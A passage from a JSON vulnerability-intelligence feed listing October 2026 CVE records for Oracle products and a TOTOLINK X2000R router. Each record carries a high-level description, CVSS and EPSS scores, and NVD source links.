General).","summary":"Vulnerability in Oracle APEX (component: General).  Supported versions that are affected are 24.1.0-24.1.21, 24.2.0-24.2.20 and  26.1.0-26.1.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle APEX.  Successful attacks of this vulnerability can result in takeover of Oracle APEX. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle APEX (component: General).  Supported versions that are affected are 24.1.0-24.1.21, 24.2.0-24.2.20 and  26.1.0-26.1.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle APEX.  Successful attacks of this vulnerability can result in takeover of Oracle APEX. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:01.470Z","updatedAt":"2026-10-22T23:17:58.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101521","asOf":"2026-10-22T23:17:58.930Z"},"epss":{"probability":0.00576,"percentile":0.47237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101521","type":"primary","publishedAt":"2026-10-20T22:18:01.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101503","cveId":"CVE-2026-101503","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).","summary":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:59.557Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101503","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00479,"percentile":0.41071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101503&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101503","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101503","type":"primary","publishedAt":"2026-10-20T22:17:59.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101503&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101503, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101501","cveId":"CVE-2026-101501","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).","summary":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized read access to a subset of Oracle Trusted Answer Search accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H).","detail":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized read access to a subset of Oracle Trusted Answer Search accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:59.323Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101501","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00411,"percentile":0.35005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101501&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101501","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101501","type":"primary","publishedAt":"2026-10-20T22:17:59.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101501&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101501, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101499","cveId":"CVE-2026-101499","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).","summary":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:59.093Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101499","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00538,"percentile":0.45012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101499","type":"primary","publishedAt":"2026-10-20T22:17:59.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101484","cveId":"CVE-2026-101484","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Secure Backup (component: Backup and Restore).","summary":"Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:57.507Z","updatedAt":"2026-10-22T23:17:58.793Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101484","asOf":"2026-10-22T23:17:58.793Z"},"epss":{"probability":0.00537,"percentile":0.44972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101484&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101484","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101484","type":"primary","publishedAt":"2026-10-20T22:17:57.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101484&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101484, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101446","cveId":"CVE-2026-101446","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).","summary":"Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:53.193Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101446","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00447,"percentile":0.38615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101446&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101446","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101446","type":"primary","publishedAt":"2026-10-20T22:17:53.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101446&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101446, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101420","cveId":"CVE-2026-101420","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:50.200Z","updatedAt":"2026-10-23T04:18:12.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101420","asOf":"2026-10-23T04:18:12.203Z"},"epss":{"probability":0.00363,"percentile":0.2983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101420&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101420","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101420","type":"primary","publishedAt":"2026-10-20T22:17:50.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101420&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101420, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9869","cveId":"CVE-2026-9869","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:23.143Z","updatedAt":"2026-10-23T23:19:51.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9869","asOf":"2026-10-23T23:19:51.180Z"},"epss":{"probability":0.00512,"percentile":0.43392,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9869","type":"primary","publishedAt":"2026-10-20T21:17:23.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9827","cveId":"CVE-2026-9827","aliases":[],"kind":"vulnerability","title":"A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:23.020Z","updatedAt":"2026-10-23T23:19:51.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9827","asOf":"2026-10-23T23:19:51.073Z"},"epss":{"probability":0.00633,"percentile":0.50027,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9827","type":"primary","publishedAt":"2026-10-20T21:17:23.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9817","cveId":"CVE-2026-9817","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:22.900Z","updatedAt":"2026-10-23T23:19:50.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9817","asOf":"2026-10-23T23:19:50.960Z"},"epss":{"probability":0.00512,"percentile":0.43391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9817&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 